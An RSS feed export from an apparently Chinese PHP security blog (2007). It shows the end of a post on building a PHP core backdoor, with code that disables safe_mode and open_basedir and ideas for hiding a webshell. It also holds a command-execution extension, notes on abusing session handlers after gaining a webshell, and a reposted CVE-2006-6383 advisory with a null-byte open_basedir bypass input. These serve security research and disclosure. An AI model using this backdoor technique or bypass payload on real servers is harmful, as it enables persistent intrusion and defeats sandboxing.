#000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_SYSTEM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_STAGE_ACTIVATE);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;zend_alter_ini_entry(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">open_basedir</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">open_basedir</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_SYSTEM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_STAGE_ACTIVATE);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif">..</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif">..</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;RETURN_TRUE;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>使用以上所述的方法,基本一个简单的PHP core backdoor就可以实现了.当然,我们其实还可以加入些其他功能.比如通过控制http头提供个可交互shell,比如内嵌一个php webshell在module中,触发后用php_start_ob_buffer函数及php_end_ob_buffer控制输出,替代任何一个php文件的输出为我们的webshell....<br>开阔你的大脑吧.一切都由你的想像力来完成:)</p>
<p>5)一些说明</p>
<p>很久没有写文档了,文章比较乱.请各位包涵吧.我的语文水平也就那么点了:)<br>由于对于php core的研究我也是新手,以上文章难免失误,请各位指正,我的email: wofeiwo_at_gmail_dot_com<br>最后感谢下Ben.yan在本文写作过程中对我的极大帮助.没有他本文是完不成的</p>
<p>6)参考文档</p>
<p>PHP手册: <a href="http://www.php.net/manual/en/">http://www.php.net/manual/en/</a><br>PHP源代码: <a href="http://www.php.net/">http://www.php.net/</a><br>suhosin源代码: <a href="http://www.suhosin.org/">http://www.suhosin.org/</a><br>php win32执行程序module: <a href="http://www.phpweblog.net/GaRY/archive/2007/05/15/php_win32_create_process_module.html">http://www.phpweblog.net/GaRY/archive/2007/05/15/php_win32_create_process_module.html</a></p>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1242.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-23 20:01 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/23/Developing_A_PHP_Core_Backdoor.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>php win32执行程序module</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/15/php_win32_create_process_module.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 15 May 2007 02:23:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/15/php_win32_create_process_module.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1198.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/15/php_win32_create_process_module.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1198.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1198.html</trackback:ping><description><![CDATA[<p>学写php扩展的练手之作.点下面连接下载:<br><a title=php_win32_CreateProcess_src href="http://www.phpweblog.net/Files/GaRY/testmod.rar" target=_blank><br>php_win32_CreateProcess_src</a><br><br>然后你就可以这么使用了:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">&lt;?</span><span style="COLOR: #000000">php<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #000000">!</span><span style="COLOR: #008080">dl</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">php_testmod.dll</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Unable&nbsp;to&nbsp;load&nbsp;php_testmod.dll</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000">&nbsp;(create_process(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ipconfig&nbsp;/all</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">));<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">?&gt;</span></div>
<p><a href="http://www.loveshell.net/blog/blogview.asp?logID=197"></a>&nbsp;</p>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1198.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-15 10:23 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/15/php_win32_create_process_module.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>The Month of PHP Bugs</title><link>http://www.phpweblog.net/GaRY/archive/2007/03/08/962.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Thu, 08 Mar 2007 08:50:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/03/08/962.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/962.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/03/08/962.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/962.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/962.html</trackback:ping><description><![CDATA[啥也不说了。。自己看吧<br /><br /><a href="http://www.php-security.org/">http://www.php-security.org/</a><img src ="http://www.phpweblog.net/GaRY/aggbug/962.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-03-08 16:50 <a href="http://www.phpweblog.net/GaRY/archive/2007/03/08/962.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP 5.2.0 session.save_path safe_mode and open_basedir bypass</title><link>http://www.phpweblog.net/GaRY/archive/2006/12/09/PHP_5_0_2_session_save_path.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Sat, 09 Dec 2006 04:10:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/12/09/PHP_5_0_2_session_save_path.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/552.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/12/09/PHP_5_0_2_session_save_path.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/552.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/552.html</trackback:ping><description><![CDATA[
		<p>
		</p>
		<table cellspacing="0" cellpadding="3" width="100%" border="0">
				<tbody>
						<tr>
								<font size="2">这个漏洞让我想起来以前发现的一个php的小问题。想想用在这里倒是很适用：<br /><br /></font>
								<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
										<font size="2">
												<span style="COLOR: #000000">唯一让我感兴趣的是</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">在测试session相关函数的时候</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">发现通过修改cookie里的session_id可以在session目录下写新文件并控制文件名为</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">sess_</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #800080">$session_id</span>
												<span style="COLOR: #000000"> 这样的形式</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">如果能再控制一个写到session_data的变量</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">或许能有所作用</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">(</span>
												<span style="COLOR: #800080">$session_id</span>
												<span style="COLOR: #000000"> 有字符限制</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">只允许大小写字母</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">还有</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">-</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">和</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">字符</span>
												<span style="COLOR: #000000">.</span>
										</font>
										<font size="2">
												<span style="COLOR: #000000">并且不能超过php所在系统的文件名长度限制)<br /><br />同样的</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">如果我已经得到了一个webshell</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">利用session_save_path以及session_set_save_handler</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">我们可以在允许的任意目录里以进程的权限写任意文件</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">并没有文件名和内容上的任何限制</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">也许这个能在disable了file相关function时能有用</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">PHP</span>
												<span style="COLOR: #000000">-</span>
												<span style="COLOR: #000000">5.0</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">4版本前的session_save_path甚至能绕过open_basedir在任意有权限的地方写文件</span>
										</font>
								</div>
								<br />
								<br />
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Topic : <b>PHP 5.2.0 session.save_path safe_mode and open_basedir bypass</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Security<font color="red">A</font>lert Id : <b>43</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   SecurityRisk : <b>High</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Remote Exploit : <b>No</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Local Exploit : <b>Yes</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Exploit Given : <b>No</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Credit : <b><font color="green">Maksymilian Arciemowicz</font></b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Date : <b>8.12.2006</b></font>
								<div align="justify">
										<br />
										<font size="2">
												<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />  Affected Software :  <b>PHP 5.2.0</b></font>
								</div>
								<p>
										<font size="2">
										</font>
								</p>
								<div align="justify">
										<br />
										<font size="2">
												<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />  Advisory Text :<br />    -----BEGIN PGP SIGNED MESSAGE-----<br />Hash: SHA1<br /><br />[PHP 5.2.0 session.save_path safe_mode and open_basedir bypass]<br /><br /><br />Author: Maksymilian Arciemowicz (SecurityReason)<br />Date:<br />- - Written: 02.10.2006<br />- - Public: 08.12.2006<br />SecurityAlert Id: 43<br />CVE: CVE-2006-6383<br />SecurityRisk: High<br />Affected Software: PHP 5.2.0<br />Advisory URL: http://securityreason.com/achievement_securityalert/43<br />Vendor: http://www.php.net<br /><br />- --- 0.Description ---<br />PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and<br />Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to<br />allow web developers to write dynamically generated pages quickly.<br /><br />A nice introduction to PHP by Stig Sather Bakken can be found at<br />http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference<br />Material is freely available. <br /><br />Session support in PHP consists of a way to preserve certain data across subsequent accesses.<br />This enables you to build more customized applications and increase the appeal of your web<br />site.<br /><br />A visitor accessing your web site is assigned a unique id, the so-called session id. This is<br />either stored in a cookie on the user side or is propagated in the URL.<br /><br />session.save_path defines the argument which is passed to the save handler. If you choose the<br />default files handler, this is the path where the files are created. Defaults to /tmp. See<br />also session_save_path().<br /><br />There is an optional N argument to this directive that determines the number of directory<br />levels your session files will be spread around in. For example, setting to '5;/tmp' may end<br />up creating a session file and location like<br />/tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If . In order to use N you must create<br />all of these directories before use. A small shell script exists in ext/session to do this,<br />it's called mod_files.sh. Also note that if N is used and greater than 0 then automatic<br />garbage collection will not be performed, see a copy of php.ini for further information.<br />Also, if you use N, be sure to surround session.save_path in "quotes" because the<br />separator (;) is also used for comments in php.ini. <br /><br />- --- 1. session.save_path safe mode and open basedir bypass ---<br />session.save_path can be set in ini_set(), session_save_path() function. In session.save_path<br />there must be path where you will save yours tmp file. But syntax for session.save_path can<br />be:<br /><br />[/PATH]<br /><br />OR<br /><br />[N;/PATH]<br /><br />N - can be a string.<br /><br />EXAMPLES:<br /><br /></font>
										<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
												<font size="2">
														<span style="COLOR: #000000">1</span>
														<span style="COLOR: #000000">.</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">session_save_path</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">/DIR/WHERE/YOU/HAVE/ACCESS</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">)</span>
												</font>
										</div>
										<br />
										<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
												<font size="2">
														<span style="COLOR: #000000">2</span>
														<span style="COLOR: #000000">.</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">session_save_path</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">5;/DIR/WHERE/YOU/HAVE/ACCESS</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">)</span>
												</font>
										</div>
										<br />
										<font size="2">and <br /><br /></font>
										<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
												<font size="2">
														<span style="COLOR: #000000">3</span>
														<span style="COLOR: #000000">.</span>
														<span style="COLOR: #008080">session_save_path</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">/DIR/WHERE/YOU/DONT/HAVE/ACCESS\0;/DIR/WHERE/YOU/HAVE/ACCESS</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">)</span>
												</font>
										</div>
										<br />
										<font size="2">- -1477-1493--- Code from PHP520 ext/session/session.c [START]<br /></font>
										<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
												<font size="2">
														<span style="COLOR: #000000">PHP_FUNCTION(</span>
														<span style="COLOR: #008080">session_save_path</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">)<br />{<br />zval </span>
														<span style="COLOR: #000000">**</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">p_name;<br />int ac </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> ZEND_NUM_ARGS();<br />char </span>
														<span style="COLOR: #000000">*</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">old;<br /><br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (ac </span>
														<span style="COLOR: #000000">&lt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">||</span>
														<span style="COLOR: #000000"> ac </span>
														<span style="COLOR: #000000">&gt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">1</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">||</span>
														<span style="COLOR: #000000"> zend_get_parameters_ex(ac</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">&amp;</span>
														<span style="COLOR: #000000">p_name) </span>
														<span style="COLOR: #000000">==</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> FAILURE)<br />WRONG_PARAM_COUNT;<br /><br />old </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> estrdup(PS(save_path));<br /><br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (ac </span>
														<span style="COLOR: #000000">==</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">1</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">) {<br />convert_to_string_ex(p_name);<br />zend_alter_ini_entry(</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">session.save_path</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">sizeof</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">session.save_path</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">)</span>
														<span style="COLOR: #000000">,</span>
												</font>
												<span style="COLOR: #000000">
														<br />
														<font size="2">Z_STRVAL_PP(p_name)</font>
												</span>
												<font size="2">
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> Z_STRLEN_PP(p_name)</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> PHP_INI_USER</span>
														<span style="COLOR: #000000">,</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> PHP_INI_STAGE_RUNTIME);<br />}<br /><br />RETVAL_STRING(old</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
												</font>
												<span style="COLOR: #000000">
														<font size="2">);<br />}<br /></font>
												</span>
										</div>
										<font size="2">- -1477-1493--- Code from PHP520 ext/session/session.c [END]<br /><br />Values are set to hash_memory (but before that, safe_mode and open_basedir check this<br />value).<br />And if you are starting session (for example session_start()), that value from<br />session.save_path is checked by function PS_OPEN_FUNC(files).<br /><br />- -242-300--- Code from PHP520 ext/session/mod_files.c [START]<br /></font>
										<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
												<font size="2">
														<span style="COLOR: #000000">PS_OPEN_FUNC(files)<br />{<br />ps_files </span>
														<span style="COLOR: #000000">*</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">data;<br /></span>
														<span style="COLOR: #0000ff">const</span>
														<span style="COLOR: #000000"> char </span>
														<span style="COLOR: #000000">*</span>
														<span style="COLOR: #000000">p</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">*</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">last;<br /></span>
														<span style="COLOR: #0000ff">const</span>
														<span style="COLOR: #000000"> char </span>
														<span style="COLOR: #000000">*</span>
														<span style="COLOR: #000000">argv[</span>
														<span style="COLOR: #000000">3</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">];<br />int argc </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />size_t dirdepth </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />int filemode </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0600</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br /><br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (</span>
														<span style="COLOR: #000000">*</span>
														<span style="COLOR: #000000">save_path </span>
														<span style="COLOR: #000000">==</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">'</span>
														<span style="COLOR: #000000">\0</span>
														<span style="COLOR: #000000">'</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">) {<br /></span>
														<span style="COLOR: #008000">/*</span>
														<span style="COLOR: #008000"> if save path is an empty string, determine the temporary dir </span>
														<span style="COLOR: #008000">*/</span>
												</font>
												<span style="COLOR: #000000">
														<br />
														<font size="2">save_path </font>
												</span>
												<span style="COLOR: #000000">
														<font size="2">=</font>
												</span>
												<font size="2">
														<span style="COLOR: #000000"> php_get_temporary_directory();<br />}<br /><br /></span>
														<span style="COLOR: #008000">/*</span>
														<span style="COLOR: #008000"> split up input parameter </span>
														<span style="COLOR: #008000">*/</span>
												</font>
												<span style="COLOR: #000000">
														<br />
														<font size="2">last </font>
												</span>
												<span style="COLOR: #000000">
														<font size="2">=</font>
												</span>
												<font size="2">
														<span style="COLOR: #000000"> save_path;<br />p </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">strchr</span>
														<span style="COLOR: #000000">(save_path</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">'</span>
														<span style="COLOR: #000000">;</span>
														<span style="COLOR: #000000">'</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">while</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> (p) {<br />argv[argc</span>
														<span style="COLOR: #000000">++</span>
														<span style="COLOR: #000000">] </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> last;<br />last </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">++</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">p;<br />p </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">strchr</span>
														<span style="COLOR: #000000">(p</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">'</span>
														<span style="COLOR: #000000">;</span>
														<span style="COLOR: #000000">'</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (argc </span>
														<span style="COLOR: #000000">&gt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">1</span>
														<span style="COLOR: #000000">) </span>
														<span style="COLOR: #0000ff">break</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />}<br />argv[argc</span>
														<span style="COLOR: #000000">++</span>
														<span style="COLOR: #000000">] </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> last;<br /><br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (argc </span>
														<span style="COLOR: #000000">&gt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">1</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">) {<br />errno </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />dirdepth </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> (size_t) strtol(argv[</span>
														<span style="COLOR: #000000">0</span>
														<span style="COLOR: #000000">]</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #0000ff">NULL</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">10</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">if</span>
